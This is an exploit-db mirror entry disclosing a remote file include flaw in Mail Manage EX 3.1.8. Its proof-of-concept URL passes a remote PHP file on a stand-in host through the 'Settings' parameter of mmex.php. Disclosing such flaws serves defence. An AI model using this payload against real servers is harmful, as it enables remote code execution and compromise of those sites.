exploit-db-mirror/platforms/php/webapps/24168.txt
Offensive Security 5e2fc10125 DB: 2016-09-03
2016-09-03 13:13:25 +00:00

7 lines
No EOL
500 B
Text
Executable file

source: http://www.securityfocus.com/bid/10457/info
Mail Manage EX is reportedly prone to a remote file include vulnerability. This vulnerability results from insufficient sanitization of user-supplied data and may allow remote attackers to include arbitrary PHP files located on remote servers.
This issue was discovered in Mail Manage EX 3.1.8. It is possible that previous versions are affected as well.
http://www.example.com/mail/mmex.php?Settings=http://www.example.com/malicious.php